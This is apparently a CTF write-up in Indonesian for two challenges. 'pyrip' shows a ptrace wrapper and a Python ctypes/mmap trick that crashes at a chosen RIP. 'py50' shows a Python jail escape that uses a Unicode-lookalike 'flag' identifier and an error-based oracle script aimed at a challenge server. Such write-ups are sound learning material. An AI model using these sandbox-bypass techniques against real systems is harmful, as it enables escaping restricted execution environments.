Misc

pyrip

Technical Summary

Kita diberikan sebuah source code dan koneksi. Kita harga perlu memperhatikan pada source bagian pyrip.c:

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ptrace.h>
#include <sys/user.h>
#include <sys/wait.h>

void trace(pid_t pid) {
  int status;
  struct user_regs_struct regs;

  waitpid(pid, &status, 0);
  ptrace(PTRACE_CONT, pid, 0, 0);

  while (1) {
    ptrace(PTRACE_CONT, pid, 0, 0);
    waitpid(pid, &status, 0);
    if (WSTOPSIG(status) != SIGCHLD) {
      break;
    }
  }

  if (WSTOPSIG(status) == SIGSEGV) {
    ptrace(PTRACE_GETREGS, pid, 0, &regs);
    if (regs.rip == 0xc0ffeedecaf) {
      system("cat flag.txt");
    }
  }

  exit(0);
}

void py_exec() {
  ptrace(PTRACE_TRACEME, 0, 0, 0);
  close(2);
  dup2(1, 2);
  setreuid(65534, 65534);
  setregid(65534, 65534);
  execl("/usr/bin/python3", "/usr/bin/python3", NULL);
}

int main() {
  pid_t pid;

  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stderr, 0, 2, 0);

  pid = fork();

  if (pid == -1) {
    exit(-1);
  }

  if (pid == 0) {
    py_exec();
  }
  else {
    trace(pid);
  }

  return 0;
}

Bisa kita lihat bahwa kita diberikan sebuah interface python, yang dimana ketika program kita crash dengan signal SIGSEGV (segmentation fault) dengan RIP atau posisi instruksi pada 0xc0ffeedecaf, maka program akan menampilkan flag.

Solution

Berikut adalah kode Python yang digunakan untuk melakukan trigger pada SIGSEGV dengan RIP tertentu:

import ctypes
import mmap
import  struct

size =  4096
mm = mmap.mmap(-1, size, prot=mmap.PROT_WRITE | mmap.PROT_READ | mmap.PROT_EXEC)
shellcode = b'\\\\xaf\\\\xec\\\\xed\\\\xfe\\\\x0f\\\\x0c'
mm.write(shellcode)
function_type = ctypes.CFUNCTYPE(None)
function  =  function_type(ctypes.c_void_p.from_buffer(mm).value)

function()

Singkat fungsi ini akan melakukan alokasi memory menggunakan

mmap

dan mengisi memory tersebut dengan target RIP. Setelah itu fungsinya kita panggil dan flag akan muncul. Karena target sudah mati, maka berikut hasil crashnya:

py50

Technical Summary

Kita diberikan sebuah file dan koneksi. Tipikal pyjail biasa namun disini __builtins__, dibatas hanya 50 karakter dan tidak boleh ada kalimat flag. Berikut filenya:

#!/usr/local/bin/python3 -S

restricted_globals = {
	'__builtins__': None,
	'flag': "CJ{REDACTED}",
}

expression =  input()
if  len(expression) <=  50  and  'flag'  not  in expression:
	try:
		eval(expression, restricted_globals)
	except  Exception  as e:
		print("Invalid")

Solution

Karena terbatasnya jumlah input yang diberikan, maka kita melakukan approach dengan cara Error-Based seperti SQL Injection, untuk bypass kalimat flag kita bisa menggunakan unicode character. Berikut script yang kami gunakan:

from pwn import *

flag = 'CJ{'
while flag[-1] != '}':
    for c in 'abcdef0123456789_{}':
        io = remote('159.89.193.103', 9998, level='error')
        payload = "(-'') if fₗₐg[" + str(len(flag)) + "] == '" + c + "' else ''"
        io.sendline(payload.encode())
        try:
            if b'Invalid' in io.recvline():
                flag += c
                print(flag)
                break
        except EOFError:
            pass

print(flag)